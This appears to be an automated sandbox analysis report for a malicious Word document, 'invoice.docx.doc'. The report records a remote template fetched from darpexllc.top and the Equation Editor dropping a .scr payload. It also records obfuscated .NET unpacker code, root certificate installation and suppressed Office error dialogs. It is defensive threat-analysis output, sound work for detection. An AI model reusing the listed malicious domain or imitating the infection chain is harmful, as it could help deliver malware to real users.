Source:	Binary string: GYuS.pdbSHA256 source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr
Source:	Binary string: wntdll.pdb source: milliano89012.scr, milliano89012.scr, 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: GYuS.pdb source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr

Source: invoice.docx.doc

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

.NET source code contains potential unpacker

Source: 10.2.milliano89012.scr.870000.0.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 10.2.milliano89012.scr.870000.0.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 10.2.milliano89012.scr.2699e74.3.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 10.2.milliano89012.scr.2699e74.3.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, oVA8TpU01O04b4B6q1.cs	.Net Code: QIps3eajis System.Reflection.Assembly.Load(byte[])
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, oVA8TpU01O04b4B6q1.cs	.Net Code: QIps3eajis System.Reflection.Assembly.Load(byte[])
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, oVA8TpU01O04b4B6q1.cs	.Net Code: QIps3eajis System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Code function: 13_2_00448B4B LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

13_2_00448B4B

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00547258 push edx; ret	9_2_0054726B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00547249 push edx; ret	9_2_0054724B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00547272 push edx; ret	9_2_0054727B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0054746B push esp; ret	9_2_0054746F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00546637 push ebx; ret	9_2_0054663B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0054662D push ebx; ret	9_2_00546633
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543CD4 push edx; ret	9_2_00543CDB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00546EDC push ebx; ret	9_2_00546F9F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543CE2 push edx; ret	9_2_00543CEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543CEF push edx; ret	9_2_00543CFB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543C8F push edx; ret	9_2_00543C9B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00547288 push edx; ret	9_2_0054728B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0054688B push esp; iretd	9_2_0054688D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543D52 push edx; ret	9_2_00543D5B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543F4C push ebx; ret	9_2_00543F77
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00547172 push edx; ret	9_2_0054717B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0054717F push edx; ret	9_2_0054718B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543F7B push esp; ret	9_2_00543F7F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00538F60 push eax; retf	9_2_00538F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543D68 push edx; ret	9_2_00543D7B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543D1F push edx; ret	9_2_00543D3B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543D0F push edx; ret	9_2_00543D1B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543D3F push edx; ret	9_2_00543D4B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005471D2 push edx; ret	9_2_005471DB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005471DF push edx; ret	9_2_005471EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005301F4 push eax; retf	9_2_005301F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005471FF push edx; ret	9_2_0054720B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543D98 push edx; ret	9_2_00543D9B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00543D82 push edx; ret	9_2_00543D8B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00546FA5 push ebx; ret	9_2_00546FA7
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 10_2_0039AFE8 push eax; retn 0065h	10_2_0039AFE9

Source: milli[1].scr.9.dr	Static PE information: section name: .text entropy: 7.934921786307537
Source: milliano89012.scr.9.dr	Static PE information: section name: .text entropy: 7.934921786307537

Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, vlH8n3ZIHh4u0WWwDQ.cs	High entropy of concatenated method names: 'bktSMhSNTs1ZVUqNn8I', 'EQNaZ4Sv3JxCpKj3R0g', 'S3B4VFsCa2', 'yTQ4ereGl0', 'SXh4Wuv05k', 'oyTEYHSRpu0bH3afmS6', 'lhTZsmSXUCw9CdDfg5h'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, jlZI3DwGj9C6sbdn42.cs	High entropy of concatenated method names: 'jacmRNsSyW', 'kPImuTqy43', 'yscmQ2Pf1a', 'aZTmLke9Vs', 'vQsm5f4Mm8', 'zVPmjpCDat', 'zBxmnFd3ym', 'wfZmpkVHNf', 'L3JmHAkxh6', 'cf6mS4wVdZ'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, aShjD9ryPytU0q8ODkk.cs	High entropy of concatenated method names: 'u7ieDKObR0', 'cg2ei8hmGm', 'hVhe3usy6t', 'wXFegrGLG9', 'qj5elM1vNH', 'cAweKVLUOP', 'h5FebYAQxC', 'W5EeR7FRpG', 'xkbeuysclp', 'DpietARRRc'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, JBAH1mPVqukOD1yppU.cs	High entropy of concatenated method names: 'jC4cHP4Yvi', 'ATHcxRbtFM', 'jE5cIe4EKN', 'c8wckkvIa5', 'jJicL2G4JH', 'eJucPbyQln', 'xIJc5Bm3fh', 'rTUcjBnkjB', 'qTccdf9mIp', 'xOwcnCpSYp'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, nbYcRRhUYUuPfgG6h7.cs	High entropy of concatenated method names: 'twjBDPOS9v', 'cqiBiheXye', 'uLxB3gaMMW', 'J56BgCWEwD', 'EV1BlQs4O0', 'tbWBKaIm5H', 'PO1Bb2fXyg', 'QXJBRc91Iq', 'z6EBusGRZb', 'LeZBtLSaIb'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, xeXN89x8fl0WRlGDUJ.cs	High entropy of concatenated method names: 'Dispose', 'K95qF5VyI5', 'dyGfLX4JVC', 'oqFGG3422g', 'nVqqajxjBv', 'uBsqzhMBg9', 'ProcessDialogKey', 'EoffyxgMSZ', 'uTifqU8oYr', 'lkPffA3OSH'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, xPZq7kBy4SWCoeHG79.cs	High entropy of concatenated method names: 'kPpqBNd06Z', 'o9Hq9oT42p', 'SmcqXvcceb', 'YjKqAcM8UK', 'zRSqcc8orX', 'd2EqhyHrlo', 's7KqLQEKua7DVC0U7h', 'rrIixnqiGfyD3GVgE8', 'U6Gqq3miLB', 'FAfqMfW51X'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, zWascSnS2pmWg2Xuti.cs	High entropy of concatenated method names: 'SLO2TskcC4', 'n6h2aTb7yQ', 'PQsVy12JNl', 'K1HVqQDDfA', 'vG12Sd2bQO', 'Qi22xhpcEs', 'k2H2raXg5M', 'ter2IPa6Y0', 'HO52kUIMG9', 'SOc2EBdO2D'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, USk5IvrNeXJirBObigd.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U2aWIdu9CL', 'z8XWkW5va3', 'VtWWEnwhHt', 'CVHW0Xt3sI', 'uJXWoRTS2U', 'yJbWCK1Xl0', 'vqBW856cNH'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, EBvIoUptZreqWvBR5S.cs	High entropy of concatenated method names: 'EalVQ9xABt', 'UUHVLDFkHd', 'UETVPqmU3d', 'iRWV5Ce2A4', 'GGGVIF8qT7', 'NnpVjavBPO', 'Next', 'Next', 'Next', 'NextBytes'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, LxvCe8Y4j9Qca6QY52.cs	High entropy of concatenated method names: 'FSg4UYsv22', 'dBA4wlnKev', 'NVa4JpfnvZ', 'FdX4BaX7u3', 'Vgo49wqYQk', 'v51Jodhyul', 'dUyJCaWUhS', 'Bh9J8H1aEc', 'pXWJT2kT1c', 'CxwJFK8OoO'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, JCfVVIeJ080Tb8Q1BL.cs	High entropy of concatenated method names: 'uX33kh0ee', 'sCxgmZ5ji', 'PLFKHyX2k', 'JBcbVkmiU', 'vOJuHAJYE', 'eejtHEWAY', 'sfoH3eVN2gQOBBka9M', 'LQPEdDMvfNmbg8jNwa', 'yY2VnnbDZ', 'IUkWF4su9'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, oVA8TpU01O04b4B6q1.cs	High entropy of concatenated method names: 'yEkMUy05wr', 'N8CMYR9CLi', 'vNrMwB3aC2', 'me8MZt8aJr', 'jQEMJfmoW0', 'MMJM4m3c3v', 'PpbMBCUqmt', 'PQQM9YK1Av', 'dDqM7TD0rM', 'zM9MXZaxk5'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, FAiMyUWZWKk3jewBmb.cs	High entropy of concatenated method names: 'nRPwIm2K1K', 'qIYwkP6tJi', 'PoOwErBD8W', 'J9jw0Ucoea', 'RHTwolucaP', 'gHdwCaMuTK', 'Wkww8w7qv8', 'grEwTxQsMi', 'RTqwFUOq4H', 'bfOwaagILx'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, dUdtWXEIPvUklYPvZf.cs	High entropy of concatenated method names: 'ApOeqhAV1r', 'GJFeMHFh27', 'Qqceso1JZd', 'KmXeYx2lm6', 'EBgew1cxcO', 'kdTeJjcR7C', 'JG8e4b0KPe', 'mDwV8xskME', 'TWGVTqnV6y', 'UcTVFLCCFu'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, uuSusx2wFdreln4s7W.cs	High entropy of concatenated method names: 'f1YZgU29lE', 'RFmZKL8FEA', 'q6YZRDbSeh', 'WkbZu3GC0e', 'Vs4ZcuIJce', 'zjLZhHQImZ', 'zBTZ29CUqC', 'Wf2ZVmu7st', 'zbXZeUhhyl', 'fB4ZWKo8p2'
Source: 10.2.milliano89012.scr.3ab6ea8.5.raw.unpack, ImmNiP57Fx7oA24QEN.cs	High entropy of concatenated method names: 'GrFVYs8pIT', 'YreVw4XX0D', 'ocPVZngiGQ', 'VJyVJZH5uI', 'qNqV4iD29s', 'wjiVBOp5CL', 'fafV9gK8Bq', 'U87V7i12dW', 'oi2VXdt5RE', 'YqtVAqqQwL'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, vlH8n3ZIHh4u0WWwDQ.cs	High entropy of concatenated method names: 'bktSMhSNTs1ZVUqNn8I', 'EQNaZ4Sv3JxCpKj3R0g', 'S3B4VFsCa2', 'yTQ4ereGl0', 'SXh4Wuv05k', 'oyTEYHSRpu0bH3afmS6', 'lhTZsmSXUCw9CdDfg5h'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, jlZI3DwGj9C6sbdn42.cs	High entropy of concatenated method names: 'jacmRNsSyW', 'kPImuTqy43', 'yscmQ2Pf1a', 'aZTmLke9Vs', 'vQsm5f4Mm8', 'zVPmjpCDat', 'zBxmnFd3ym', 'wfZmpkVHNf', 'L3JmHAkxh6', 'cf6mS4wVdZ'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, aShjD9ryPytU0q8ODkk.cs	High entropy of concatenated method names: 'u7ieDKObR0', 'cg2ei8hmGm', 'hVhe3usy6t', 'wXFegrGLG9', 'qj5elM1vNH', 'cAweKVLUOP', 'h5FebYAQxC', 'W5EeR7FRpG', 'xkbeuysclp', 'DpietARRRc'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, JBAH1mPVqukOD1yppU.cs	High entropy of concatenated method names: 'jC4cHP4Yvi', 'ATHcxRbtFM', 'jE5cIe4EKN', 'c8wckkvIa5', 'jJicL2G4JH', 'eJucPbyQln', 'xIJc5Bm3fh', 'rTUcjBnkjB', 'qTccdf9mIp', 'xOwcnCpSYp'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, nbYcRRhUYUuPfgG6h7.cs	High entropy of concatenated method names: 'twjBDPOS9v', 'cqiBiheXye', 'uLxB3gaMMW', 'J56BgCWEwD', 'EV1BlQs4O0', 'tbWBKaIm5H', 'PO1Bb2fXyg', 'QXJBRc91Iq', 'z6EBusGRZb', 'LeZBtLSaIb'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, xeXN89x8fl0WRlGDUJ.cs	High entropy of concatenated method names: 'Dispose', 'K95qF5VyI5', 'dyGfLX4JVC', 'oqFGG3422g', 'nVqqajxjBv', 'uBsqzhMBg9', 'ProcessDialogKey', 'EoffyxgMSZ', 'uTifqU8oYr', 'lkPffA3OSH'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, xPZq7kBy4SWCoeHG79.cs	High entropy of concatenated method names: 'kPpqBNd06Z', 'o9Hq9oT42p', 'SmcqXvcceb', 'YjKqAcM8UK', 'zRSqcc8orX', 'd2EqhyHrlo', 's7KqLQEKua7DVC0U7h', 'rrIixnqiGfyD3GVgE8', 'U6Gqq3miLB', 'FAfqMfW51X'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, zWascSnS2pmWg2Xuti.cs	High entropy of concatenated method names: 'SLO2TskcC4', 'n6h2aTb7yQ', 'PQsVy12JNl', 'K1HVqQDDfA', 'vG12Sd2bQO', 'Qi22xhpcEs', 'k2H2raXg5M', 'ter2IPa6Y0', 'HO52kUIMG9', 'SOc2EBdO2D'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, USk5IvrNeXJirBObigd.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U2aWIdu9CL', 'z8XWkW5va3', 'VtWWEnwhHt', 'CVHW0Xt3sI', 'uJXWoRTS2U', 'yJbWCK1Xl0', 'vqBW856cNH'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, EBvIoUptZreqWvBR5S.cs	High entropy of concatenated method names: 'EalVQ9xABt', 'UUHVLDFkHd', 'UETVPqmU3d', 'iRWV5Ce2A4', 'GGGVIF8qT7', 'NnpVjavBPO', 'Next', 'Next', 'Next', 'NextBytes'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, LxvCe8Y4j9Qca6QY52.cs	High entropy of concatenated method names: 'FSg4UYsv22', 'dBA4wlnKev', 'NVa4JpfnvZ', 'FdX4BaX7u3', 'Vgo49wqYQk', 'v51Jodhyul', 'dUyJCaWUhS', 'Bh9J8H1aEc', 'pXWJT2kT1c', 'CxwJFK8OoO'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, JCfVVIeJ080Tb8Q1BL.cs	High entropy of concatenated method names: 'uX33kh0ee', 'sCxgmZ5ji', 'PLFKHyX2k', 'JBcbVkmiU', 'vOJuHAJYE', 'eejtHEWAY', 'sfoH3eVN2gQOBBka9M', 'LQPEdDMvfNmbg8jNwa', 'yY2VnnbDZ', 'IUkWF4su9'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, oVA8TpU01O04b4B6q1.cs	High entropy of concatenated method names: 'yEkMUy05wr', 'N8CMYR9CLi', 'vNrMwB3aC2', 'me8MZt8aJr', 'jQEMJfmoW0', 'MMJM4m3c3v', 'PpbMBCUqmt', 'PQQM9YK1Av', 'dDqM7TD0rM', 'zM9MXZaxk5'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, FAiMyUWZWKk3jewBmb.cs	High entropy of concatenated method names: 'nRPwIm2K1K', 'qIYwkP6tJi', 'PoOwErBD8W', 'J9jw0Ucoea', 'RHTwolucaP', 'gHdwCaMuTK', 'Wkww8w7qv8', 'grEwTxQsMi', 'RTqwFUOq4H', 'bfOwaagILx'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, dUdtWXEIPvUklYPvZf.cs	High entropy of concatenated method names: 'ApOeqhAV1r', 'GJFeMHFh27', 'Qqceso1JZd', 'KmXeYx2lm6', 'EBgew1cxcO', 'kdTeJjcR7C', 'JG8e4b0KPe', 'mDwV8xskME', 'TWGVTqnV6y', 'UcTVFLCCFu'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, uuSusx2wFdreln4s7W.cs	High entropy of concatenated method names: 'f1YZgU29lE', 'RFmZKL8FEA', 'q6YZRDbSeh', 'WkbZu3GC0e', 'Vs4ZcuIJce', 'zjLZhHQImZ', 'zBTZ29CUqC', 'Wf2ZVmu7st', 'zbXZeUhhyl', 'fB4ZWKo8p2'
Source: 10.2.milliano89012.scr.3a1f288.6.raw.unpack, ImmNiP57Fx7oA24QEN.cs	High entropy of concatenated method names: 'GrFVYs8pIT', 'YreVw4XX0D', 'ocPVZngiGQ', 'VJyVJZH5uI', 'qNqV4iD29s', 'wjiVBOp5CL', 'fafV9gK8Bq', 'U87V7i12dW', 'oi2VXdt5RE', 'YqtVAqqQwL'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, vlH8n3ZIHh4u0WWwDQ.cs	High entropy of concatenated method names: 'bktSMhSNTs1ZVUqNn8I', 'EQNaZ4Sv3JxCpKj3R0g', 'S3B4VFsCa2', 'yTQ4ereGl0', 'SXh4Wuv05k', 'oyTEYHSRpu0bH3afmS6', 'lhTZsmSXUCw9CdDfg5h'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, jlZI3DwGj9C6sbdn42.cs	High entropy of concatenated method names: 'jacmRNsSyW', 'kPImuTqy43', 'yscmQ2Pf1a', 'aZTmLke9Vs', 'vQsm5f4Mm8', 'zVPmjpCDat', 'zBxmnFd3ym', 'wfZmpkVHNf', 'L3JmHAkxh6', 'cf6mS4wVdZ'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, aShjD9ryPytU0q8ODkk.cs	High entropy of concatenated method names: 'u7ieDKObR0', 'cg2ei8hmGm', 'hVhe3usy6t', 'wXFegrGLG9', 'qj5elM1vNH', 'cAweKVLUOP', 'h5FebYAQxC', 'W5EeR7FRpG', 'xkbeuysclp', 'DpietARRRc'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, JBAH1mPVqukOD1yppU.cs	High entropy of concatenated method names: 'jC4cHP4Yvi', 'ATHcxRbtFM', 'jE5cIe4EKN', 'c8wckkvIa5', 'jJicL2G4JH', 'eJucPbyQln', 'xIJc5Bm3fh', 'rTUcjBnkjB', 'qTccdf9mIp', 'xOwcnCpSYp'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, nbYcRRhUYUuPfgG6h7.cs	High entropy of concatenated method names: 'twjBDPOS9v', 'cqiBiheXye', 'uLxB3gaMMW', 'J56BgCWEwD', 'EV1BlQs4O0', 'tbWBKaIm5H', 'PO1Bb2fXyg', 'QXJBRc91Iq', 'z6EBusGRZb', 'LeZBtLSaIb'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, xeXN89x8fl0WRlGDUJ.cs	High entropy of concatenated method names: 'Dispose', 'K95qF5VyI5', 'dyGfLX4JVC', 'oqFGG3422g', 'nVqqajxjBv', 'uBsqzhMBg9', 'ProcessDialogKey', 'EoffyxgMSZ', 'uTifqU8oYr', 'lkPffA3OSH'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, xPZq7kBy4SWCoeHG79.cs	High entropy of concatenated method names: 'kPpqBNd06Z', 'o9Hq9oT42p', 'SmcqXvcceb', 'YjKqAcM8UK', 'zRSqcc8orX', 'd2EqhyHrlo', 's7KqLQEKua7DVC0U7h', 'rrIixnqiGfyD3GVgE8', 'U6Gqq3miLB', 'FAfqMfW51X'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, zWascSnS2pmWg2Xuti.cs	High entropy of concatenated method names: 'SLO2TskcC4', 'n6h2aTb7yQ', 'PQsVy12JNl', 'K1HVqQDDfA', 'vG12Sd2bQO', 'Qi22xhpcEs', 'k2H2raXg5M', 'ter2IPa6Y0', 'HO52kUIMG9', 'SOc2EBdO2D'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, USk5IvrNeXJirBObigd.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U2aWIdu9CL', 'z8XWkW5va3', 'VtWWEnwhHt', 'CVHW0Xt3sI', 'uJXWoRTS2U', 'yJbWCK1Xl0', 'vqBW856cNH'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, EBvIoUptZreqWvBR5S.cs	High entropy of concatenated method names: 'EalVQ9xABt', 'UUHVLDFkHd', 'UETVPqmU3d', 'iRWV5Ce2A4', 'GGGVIF8qT7', 'NnpVjavBPO', 'Next', 'Next', 'Next', 'NextBytes'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, LxvCe8Y4j9Qca6QY52.cs	High entropy of concatenated method names: 'FSg4UYsv22', 'dBA4wlnKev', 'NVa4JpfnvZ', 'FdX4BaX7u3', 'Vgo49wqYQk', 'v51Jodhyul', 'dUyJCaWUhS', 'Bh9J8H1aEc', 'pXWJT2kT1c', 'CxwJFK8OoO'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, JCfVVIeJ080Tb8Q1BL.cs	High entropy of concatenated method names: 'uX33kh0ee', 'sCxgmZ5ji', 'PLFKHyX2k', 'JBcbVkmiU', 'vOJuHAJYE', 'eejtHEWAY', 'sfoH3eVN2gQOBBka9M', 'LQPEdDMvfNmbg8jNwa', 'yY2VnnbDZ', 'IUkWF4su9'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, oVA8TpU01O04b4B6q1.cs	High entropy of concatenated method names: 'yEkMUy05wr', 'N8CMYR9CLi', 'vNrMwB3aC2', 'me8MZt8aJr', 'jQEMJfmoW0', 'MMJM4m3c3v', 'PpbMBCUqmt', 'PQQM9YK1Av', 'dDqM7TD0rM', 'zM9MXZaxk5'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, FAiMyUWZWKk3jewBmb.cs	High entropy of concatenated method names: 'nRPwIm2K1K', 'qIYwkP6tJi', 'PoOwErBD8W', 'J9jw0Ucoea', 'RHTwolucaP', 'gHdwCaMuTK', 'Wkww8w7qv8', 'grEwTxQsMi', 'RTqwFUOq4H', 'bfOwaagILx'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, dUdtWXEIPvUklYPvZf.cs	High entropy of concatenated method names: 'ApOeqhAV1r', 'GJFeMHFh27', 'Qqceso1JZd', 'KmXeYx2lm6', 'EBgew1cxcO', 'kdTeJjcR7C', 'JG8e4b0KPe', 'mDwV8xskME', 'TWGVTqnV6y', 'UcTVFLCCFu'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, uuSusx2wFdreln4s7W.cs	High entropy of concatenated method names: 'f1YZgU29lE', 'RFmZKL8FEA', 'q6YZRDbSeh', 'WkbZu3GC0e', 'Vs4ZcuIJce', 'zjLZhHQImZ', 'zBTZ29CUqC', 'Wf2ZVmu7st', 'zbXZeUhhyl', 'fB4ZWKo8p2'
Source: 10.2.milliano89012.scr.4a80000.8.raw.unpack, ImmNiP57Fx7oA24QEN.cs	High entropy of concatenated method names: 'GrFVYs8pIT', 'YreVw4XX0D', 'ocPVZngiGQ', 'VJyVJZH5uI', 'qNqV4iD29s', 'wjiVBOp5CL', 'fafV9gK8Bq', 'U87V7i12dW', 'oi2VXdt5RE', 'YqtVAqqQwL'

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\darpexllc.top@SSL\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\darpexllc.top@SSL\DavWWWRoot			Jump to behavior

Contains an external reference to another file

Source: settings.xml.rels

Extracted files from sample: https://darpexllc.top/milli.doc

Drops PE files with a suspicious file extension

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\milliano89012.scr			Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: milli[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: BD83929C.doc.0.dr			Jump to dropped file

Office viewer loads remote template

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\milliano89012.scr			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
